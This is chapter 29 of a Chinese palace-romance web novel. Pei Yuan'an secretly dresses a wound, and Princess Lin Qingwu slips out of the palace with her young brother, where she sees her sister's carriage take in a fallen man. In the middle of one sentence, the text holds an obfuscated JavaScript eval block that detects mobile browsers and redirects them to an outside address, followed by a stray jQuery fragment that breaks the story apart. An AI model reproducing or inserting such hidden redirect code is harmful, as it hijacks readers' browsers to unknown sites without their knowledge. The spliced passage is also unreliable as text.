29. 第29章
作品:《守寡后重回剧情线》 皇宫,绛雪轩。
一道黑影以肉眼不可见的速度闪进裴元安房里。
屋里灯火瞬间熄灭,随之而来的是淡淡的血腥味。
一道压低了的声音响起,似有些着急。
“公子,你受伤了?可有大碍?”
黑暗里,裴元安脱掉外衣,瞬间屋内血腥味又重了几分。
他单手给自己左臂上药,包扎伤口,动作一气呵成。
做完这些,他才开口说话。
“这两日是否有发生什么事情?”
与黑暗融为一体的影子跪在地上,声音隐隐发抖。
“无其他事,只,只是……”
“昨日七公主来过,影子装病没让她进屋,她就回去了。”
影子快速回禀完毕,忐忑的等待着领罚。
似乎只要是七公主的事情,他总是处理不好。
裴元安声音依旧冰冷,问道:“她有说什么吗?”
影子:“没有什么特别,只是来看你,听闻公子生病又说过几日再来。”
裴元安:“自作主张,自去领罚。”
“是,公子。”
影子声音里有一丝轻快。
果然如自己所料。
不过他还是有点担心公子,于是大着胆子又问了一句:“公子你的伤?”
裴元安:“下去。”
“遵命,公子。”
影子赶紧溜之大吉。
屋里安静下来,但依旧漆黑一片,不远处传来莫语规律又如雷的鼾声。
裴元安坐在角落椅子上,一动也不动,他左肩刚包扎好的伤口再次浸出点点如红梅般的血迹。
屋外,有纷纷扬扬雪落的声音。
未烧碳火的房间如屋外般天寒地冻。
眨眼间,屋内油灯点亮,裴元安从容优雅的换了身衣裳。
原先穿着的那身带血衣服扔进火盆里,烧了。
带血衣物烧完,屋内再次陷入黑暗。
黑暗里,窗户从里向外轻轻打开,在窗开的瞬间,闪出一道人影。
那道如一阵风般的身影像飞鸟凌波消失在夜色。
飞鸟落在昭阳宫偏殿屋顶上,他望着公主明亮却空无一人的寝屋陷入沉思。
此时此刻,你在哪里?
漫天飞扬的鹅毛大雪,落在地上发出轻轻漱漱声,掩盖住更轻的咳嗽声。
寂静夜里,马车压过地面的声音格外清晰。
不多时,一辆马车出现在昭阳宫偏殿大门处,马车没有停留,直接长驱直入。
“是公主回来了吗?”芷岸悄声询问。
“嘘,她睡着了。”叶少宁朝芷岸做了个禁言的手势,而后轻轻跳下马车。
芷岸正愁怎么将公主带回房间,就听见马车里公主的说话声。
林青芜单手揉着眼,掀开马车车帘,带着刚睡醒的鼻音问道:“是到家了嘛?”
叶少宁好笑地看着她,刚想回答她是,却在风里嗅到淡淡血腥味。
“什么人?”他呵斥一声,在空气里搜寻血腥味的来源。
“喵~”
从偏殿屋顶掉下一只受了伤的小猫。
叶少宁抓起受伤小猫的脖颈,喃喃自语:“宫里有谁养了猫嘛?”
青芜已经下了马车,她走到叶少宁身旁,问他:“哪里来的小猫?”
叶少宁摇头说:“不知道,等我带回金吾卫再查查。”
她还是很困,只想睡觉,没空理会小猫的事情,点头让他处理,她自己回房睡觉。
叶少宁在原地又站了好一会儿,确认没有危险,才回金吾卫当值。
-
小年已过,新春将至。
宫里上下一片祥和,没有人闹事,所有人都等待新一年的到来。
皇后重新执掌后宫,非常地忙碌,不仅要处理新春的大小事宜,还有为年后选秀女的事情做筹备。
她忙起来没有空去管林青芜,只盯住芷岸要小心照顾好公主。
其实只是间接让芷岸盯着林青芜,不让她去找裴元安。
林青芜知趣,也不给皇后添乱,乖乖地在自己屋里,拿了好几本话本在那边看。
看到有趣的地方,她笑到忍不住拍桌子。
刚开始吓得芷岸以为发生什么事情,到后来看见她的模样,芷岸也想看看那话本究竟有什么好看。
于是,就两人头对着头,一起在捧着话本看。好玩的地方一起笑,到了郁闷情节,芷岸落泪,林青芜也会皱皱眉头。
无忧无虑的日子总过得很快,不过眨眼间,已是年二九的夜晚。
大雪下了几日,外边积起厚厚的一层雪,因为实在太冷,林青芜这几日都不曾出门。
青芜吃过晚饭又跟芷岸一起看话本,两人正看的晶晶有味,未听见惠兰进门的声响。
直到惠兰去关上之前通风开的窗,两人才齐齐抬头看向惠兰。
林青芜放下话本,斜靠在塌上,她看着惠兰的背影道:“惠兰,你去休息吧,不用管我们俩。”
惠兰在昭阳宫偏殿伺候了一段时间,知道公主与其他主子不一样,没有那么多规矩,便点了点头道是。
临走时,她想起白日里忙起来有封信忘记交给公主,此时忙从怀里将信取出。
这么多天来,这是她犯的第一个错,此时此刻吓得藏在衣袖里的手在不自觉颤抖。
公主虽然没那么多规矩,但她忘记这么重要的事情,大概率免不了责罚,她不知道该怎么办了。
那封信没有署名,信封亦是有些皱巴,不知道这一路上经过多少人的手。
青芜接过信的那一瞬间,就预感到会是谁的来信。
果然,打开一看,是宋景言那家伙让她明日午时在城门外接他。
这人果真忒不要脸了,这么随意的驱使人,这真的对吗?
青芜面有不悦,惠兰看见,立马扑通一声跪在了地上。
她跪下的动作有点大,青芜与芷岸均吓了一跳。
惠兰:“请公主责罚奴婢,是奴婢白日忘记将信交与公主。”
青芜正不知道惠兰为啥这样,听到她这样说才知道,忙道:“没关系,不是什么重要的事情,不会怪你。”
见惠兰还跪着,没有起身的想法,青芜忙给芷岸递了个眼神,芷岸会意,拉着惠兰一起去休息。
宫婢们全都退下,屋内瞬间无比寂静,青芜手里拿着那封信,陷入沉思。
明天中午去?还是不去城外?
去的话,好像自己被拿捏了那般,不去,又感觉会错过什么。
很难抉择,矛盾纠结~
林青芜不打算为难自己,难以抉择的事,等睡醒再说。
翌日一早,林衍不大招呼,径直推开林青芜房门,一股夹带细雪的冷风瞬间灌进屋里。
林青芜睡觉一向不老实,在冷风灌进的瞬间,被冷醒。
她在床上摸了好一会儿,终于找到被子盖在身上,而后才抬起眼皮看来人。
八九岁小孩一进门就见只穿着寝衣的姐姐,惊得呆愣了片刻连忙转过身。
他不满又嫌弃地
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956789|193162||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
抱怨:“这么晚了,为什么你还没洗漱穿戴好。”
在没放假前,这个时辰他早已经跟着先生在学习,哪有睡到这么晚的!
某个人真不知羞,这么大个人还睡懒觉!
“因为大冬天就是要睡懒觉啊!”林青芜理直气壮道。
她在床上蠕动了好一会儿,才不情不愿的完全睁开双眼。
最好睡的时间被打扰,只能依依不舍起床了。
在起身换衣的那刻,她突然福至心灵地想到了什么。
青芜换好衣服,走到林衍身后,问他:“今天带你出宫门看看,去吗?”
“出宫玩吗?我去!”林衍一蹦老高,欢欢喜喜大声嚷嚷。
青芜忙做了个禁言动作,提醒他别高兴的过早!
林衍忙双手捂住自己嘴巴,缩头缩脑小心翼翼地看向四周。
用过早膳,青芜带着林衍去拜见皇后。
软磨硬泡了好一会儿,才让皇后答应他们出宫玩几个时辰。
皇后一再叮嘱他们要在日落前赶回来。
晚了被皇帝知道会被皇帝不满。
林青芜大概也知道林帝的脾性,并不想触霉头。
得到许可,一路畅通无阻的出了宫门。
皇后不仅安排了驾车的太监,另外还有些侍卫在暗中保护。
出了皇宫门,因为林衍对宫外的一切都很好奇,驾车的太监车驾的极慢,足够让十二殿下欣赏沿途风景。
在出门前,青芜与林衍商量好,出宫后一切听她安排,如果不能答应就不带他出门。
此时此刻的林衍有些懊恼,只出门又不能下马车去玩,这感觉比不出门更难受。
他幽怨地看着林青芜,撅着嘴巴不满道:“我就下去玩一会儿也不行吗?”
青芜摇了摇头,坚决道:“一会儿也不行。”
林衍重重“哼!”了一声,转头面壁不看青芜。
可是没一会儿,他又被外边的声音吸引,只能从窗户探出小半张脸,目不转睛的盯着各处看。
“阿姐,你快看!”
林衍忙拉起青芜衣袖,让她跟着一起往外看。
驾车太监是个机灵人,听见十二殿下的话,有条不紊的停下马车。
林青芜跟着探出脑袋,两人一左一右透过马车窗户看向不远处的街上。
与他们隔了三栋房子不远处的街上,也停了辆马车,马车边上站着的是林兰宜的宫女祈雯。
林兰宜马车前躺着个人,那人看不清样貌,不过从他衣着的布料来看,也是个非富即贵的人。
只不过这样的人怎么会躺在地方?
还是说林兰宜的马车撞了人?
青芜带着疑惑继续观看。
今日除夕,早上又下过大雪,此时街上人不多。
但陆陆续续有人发现林兰宜那边的情况,开始有人驻足围观。
祈雯不知道与车里的人说些什么,却只见祈雯吩咐车夫将躺在地上的人拖到车里。
“!!!”
太阳打西边出来了嘛?
骄傲的团宠小公主随便拉一人上自己马车
这简直让人匪夷所思。
看见林兰宜马车的窗帘动了动,青芜与林衍同时放下自己边窗帘。
马车缓缓驶离,过了半晌,林衍才轻声问道:“那是六姐,对嘛?”
林青芜心不在焉点了点头,在努力回忆林兰宜捡的那个人是谁。
见到宫里熟人,林衍想要下车玩闹的心也都歇了,安安静静呆着像闯祸的小狗狗。

